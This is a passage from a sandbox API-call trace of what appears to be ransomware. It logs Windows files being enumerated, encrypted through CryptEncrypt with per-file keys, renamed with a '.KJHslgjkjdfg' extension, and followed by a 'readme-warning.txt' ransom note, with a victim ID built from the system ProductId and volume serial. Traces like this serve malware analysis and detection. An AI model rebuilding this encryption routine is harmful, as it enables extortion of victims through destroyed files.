lpNewFilePointer=0x0) returned 1 [0145.649] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0145.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.649] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x20eb8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x20eb8, lpOverlapped=0x0) returned 1 [0145.649] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20ec0, dwBufLen=0x20ec0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20ec0) returned 1 [0145.650] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.650] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x20ec0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x20ec0, lpOverlapped=0x0) returned 1 [0145.651] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.651] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x120f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.651] SetEndOfFile (hFile=0x114) returned 1 [0145.654] GetProcessHeap () returned 0x2a0000 [0145.654] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.654] GetProcessHeap () returned 0x2a0000 [0145.654] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.kjhslgjkjdfg")) returned 1 [0145.666] CloseHandle (hObject=0x114) returned 1 [0145.666] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0145.666] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0145.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0145.668] GetProcessHeap () returned 0x2a0000 [0145.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.668] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.668] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0145.669] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0145.670] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0145.671] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.671] GetProcessHeap () returned 0x2a0000 [0145.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.671] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0145.671] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.671] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0145.671] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0145.671] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0145.671] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0145.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0145.671] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0145.671] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0145.671] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.671] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3574, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3574, lpOverlapped=0x0) returned 1 [0145.672] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3580, dwBufLen=0x3580 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3580) returned 1 [0145.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.672] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3580, lpOverlapped=0x0) returned 1 [0145.673] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.673] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.673] SetEndOfFile (hFile=0x114) returned 1 [0145.675] GetProcessHeap () returned 0x2a0000 [0145.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0145.675] GetProcessHeap () returned 0x2a0000 [0145.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.kjhslgjkjdfg")) returned 1 [0145.676] CloseHandle (hObject=0x114) returned 1 [0145.676] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0145.676] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0145.676] GetProcessHeap () returned 0x2a0000 [0145.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.676] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0145.676] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0145.676] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.676] GetProcessHeap () returned 0x2a0000 [0145.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0145.677] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0145.677] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0145.677] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.677] GetProcessHeap () returned 0x2a0000 [0145.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0145.677] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0145.677] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0145.677] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.677] GetProcessHeap () returned 0x2a0000 [0145.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0145.677] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0145.677] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0145.677] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.677] GetProcessHeap () returned 0x2a0000 [0145.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.677] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0145.677] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ec88 | out: pbData=0x2c1640, pdwDataLen=0x290ec88) returned 1 [0145.677] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.677] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0145.677] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0145.678] RegCloseKey (hKey=0x114) returned 0x0 [0145.678] GetProcessHeap () returned 0x2a0000 [0145.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0145.678] GetProcessHeap () returned 0x2a0000 [0145.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.678] GetProcessHeap () returned 0x2a0000 [0145.678] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.678] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0145.678] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea5c | out: pbData=0x2c1640, pdwDataLen=0x290ea5c) returned 1 [0145.678] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.678] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0145.678] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0145.678] GetProcessHeap () returned 0x2a0000 [0145.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.678] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0145.678] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0145.679] GetProcessHeap () returned 0x2a0000 [0145.679] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f5720 [0145.679] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\readme-warning.txt") returned 75 [0145.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0145.680] WriteFile (in: hFile=0x114, lpBuffer=0x2f5720*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f5720*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0145.681] CloseHandle (hObject=0x114) returned 1 [0145.681] GetProcessHeap () returned 0x2a0000 [0145.681] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0145.681] GetProcessHeap () returned 0x2a0000 [0145.681] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5720 | out: hHeap=0x2a0000) returned 1 [0145.681] GetProcessHeap () returned 0x2a0000 [0145.682] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0145.682] GetProcessHeap () returned 0x2a0000 [0145.682] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.682] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0145.682] GetProcessHeap () returned 0x2a0000 [0145.682] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0145.682] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0145.682] GetProcessHeap () returned 0x2a0000 [0145.682] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0145.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0145.683] GetProcessHeap () returned 0x2a0000 [0145.683] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0145.683] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.683] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0145.683] GetProcessHeap () returned 0x2a0000 [0145.683] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2c7d48 [0145.683] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0145.683] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0145.683] GetProcessHeap () returned 0x2a0000 [0145.683] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0145.683] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0145.683] GetProcessHeap () returned 0x2a0000 [0145.683] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x84) returned 0x2ed368 [0145.684] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0145.686] GetProcessHeap () returned 0x2a0000 [0145.686] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0145.686] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.687] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0145.687] GetProcessHeap () returned 0x2a0000 [0145.687] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x286) returned 0x2c7d48 [0145.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.687] GetLastError () returned 0x5 [0145.687] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0145.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.687] GetLastError () returned 0x5 [0145.687] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0145.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.689] GetLastError () returned 0x5 [0145.689] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, 